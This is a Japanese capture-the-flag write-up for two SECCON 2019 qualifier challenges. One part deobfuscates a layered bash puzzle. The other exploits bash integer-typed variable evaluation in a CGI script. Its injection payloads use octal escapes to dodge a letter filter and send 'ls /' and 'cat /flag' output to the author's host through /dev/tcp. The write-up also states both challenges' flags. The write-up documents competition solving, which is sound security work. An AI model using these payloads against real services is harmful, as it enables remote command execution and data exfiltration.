SECCON 2019 quals Write-up (Beeeeeeeeeer, SECCON_multiplicater)

今年もSECCONオンライン予選にm1z0r3として参加しました。
自分がフラグを獲得できた問題のWrite-upを記録します。
(取り急ぎ最初の2問を掲載します。web_searchは後ほど追記します。)
追記:web_searchについては「明日にしよう、明日にしようとどんどん先延ばしにしていた」ら忘れてしまったので諦めます。

普段はWeb/Forensic担当なのですが、完全にシェル芸担当でしたね…

Beeeeeeeeeer

最初見た時、テーマが難読化シェル芸だったのでびっくりしました。

敷き詰められたシェルスクリプト

あまり文は多くなさそうだったので、一つ一つ文を分けて解読しました。
大体は文頭にechoをつけてあげればOKです。

$'\72'とか$'\u003A'はデコードすると:になり、いわばNOPのコマンドなので基本無視(本当は引数で副作用のあるコマンドを実行していることもあるので要警戒だが、後ろの方は特になかった)。

#echo -e "\033#8"
#sleep 1
#C=$(tput cols)
#L=$(tput lines)
#for ID in $(seq $(($L*$C*6)))
#do x=$(($RANDOM%$C))
#y=$(($RANDOM%$L))
#printf "\033[${y};${x}f "
#done
#for ID in $(seq $(($L*$C*6)))
#do
#	x=$(($RANDOM%$C))
#	y=$(($RANDOM%$L))
#	printf "\033[${y};${x}fF"
#done
#clear
#echo 'Let's decording!(≧∀≦*)'
# ここまでは前座で関係ない

read
trap '' 1 2 3 15 18 19 20

# ここから無駄な処理が続くので消しておく
#echo $-|grep x && exit
#: | grep -q : && exit
#
#if [ -z "$1" ]
#then
#	ID='nandoku'
#else
#	ID="$1"
#fi
#if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null
#then
#	:
#else
#	exit
#fi
#
#for i in $(seq $((RANDOM % 10)))
#do
#	sleep $((RANDOM % 300))
#done
#echo $- | grep x && exit
#: | grep -q : && exit
#
#ここまで消す

export S1=hogefuga
echo -n H4sIAMlSRl0AA439Z6/k3prli...|base64 -d|gunzip|bash

ここでexport S1=hogefugaしていることに注意。
そして最後の1行を展開して読みやすくします。

# ここのfor文完全に無駄処理なのでいらない
#for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)))
#do
#	l=$((RANDOM % 10 +1))
#	for m in $($(echo ==gCxV2c |rev|base64 -d) $l)
#	do
#		$($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'
#		$'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d)
#	done
#	$($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"
#	$'\162\145\141\144' n </dev/tty
#	export n
#	if [ "$n" -ne "$l" ]
#	then
#		$'\x65\x78\x69\x74'
#	fi
#done

(
	echo -ne '\a'
	sleep 1
	echo -ne '\a'
	sleep 1
	echo -ne '\a'
	sleep 1
	echo "How many beeps?"
)
read n </dev/tty
export n
echo U2FsdGVkX18/dVsEIYzYdHlc...|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash

ここでも無駄な処理があるので消しつつデコード。
ここではn(つまり3)をexportしている。
最後の1行をもういっちょ展開

見たことのある風景

専攻分野が出てきて変な声出た(詳しくは自分のブログを参照)。

このシェルスクリプトは、最初に文字を一通りゲットして、次にその文字をつぎはぎすることで成立しています。
文字をゲットした後のつぎはぎ部分の各文の先頭にechoをつけるとだいぶわかりやすい

こんな感じ
echo Enter the password
read _____
: password is bash

passwordはbashと書かれているのでもう解析不要。

そして最後に

echo SECCON{$S1$n$_____}

と書かれているため、flagは SECCON{hogefuga3bash} で終了。

SECCON_multiplicater

1つのcgiだけで完結している問題。
肝心の処理部分を見ていきます。

typeset -i var1
typeset -i var2

(中略)

if [ "$REQUEST_METHOD" = "POST" ]
then
  POST_STRING=$(cat)

  var1="$(echo $POST_STRING|awk -F'&' '{print $1}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"
  var2="$(echo $POST_STRING|awk -F'&' '{print $2}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"

  echo  "$var1" '*' "$var2 = $((var1 * var2))"
fi

これの致命的な問題はtypeset -i(整数型宣言)に潜んでおり、整数型宣言された変数への代入は、算術評価されてから行われるという点にあります。
詳細は http://ya.maya.st/d/201909a.html こちらのエントリに書かれています。

代入するstringを全てevalするというわけではありませんが、それに近いことをする方法が一つ存在します。
それが配列添字内でのevalです。

typeset -i var1
var1=_[$(echo ここでなんでもできる)]

この代入式の評価は$()部分→配列インデックスの順になるため、$_が配列になっていなくても問題ありません。

この手の問題は大体ファイルシステムにflagファイルがあるので、まずはlsを目指しましょう。
そして英字が使えないことも念頭におく必要があります。

var1=_[$(ls / &>/dev/tcp/my.host.ip.address/port)]

適当なグローバルIPのマシンやngrokのフォワーディングでnc -lしておいて、lsの結果をここに流してもらう作戦でいきます(>ではなく&>なのはstderrも補足したかったからです)。
そして先述の通り英字を回避する方法を考えなくてはなりません。

ここでBeeeeeeeeeerの問題が大きなヒントになっており、$'\nnn'の8進数表記が対応するasciiと等価であることに気づきます。

var1=_[$($'\154\163' / &>/$'\144\145\166'/$'\164\143\160'/my.host.ip.address/port)]

これをurlエンコードし、curlのpostで流す(ブラウザフォームから入力するとスペースが+になってしまうことがある)と、/flagがあることがわかります。

あとはls /cat /flagに変えて同じことをすれば、SECCON{Did_you_calculate_it?}を獲得できました。

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です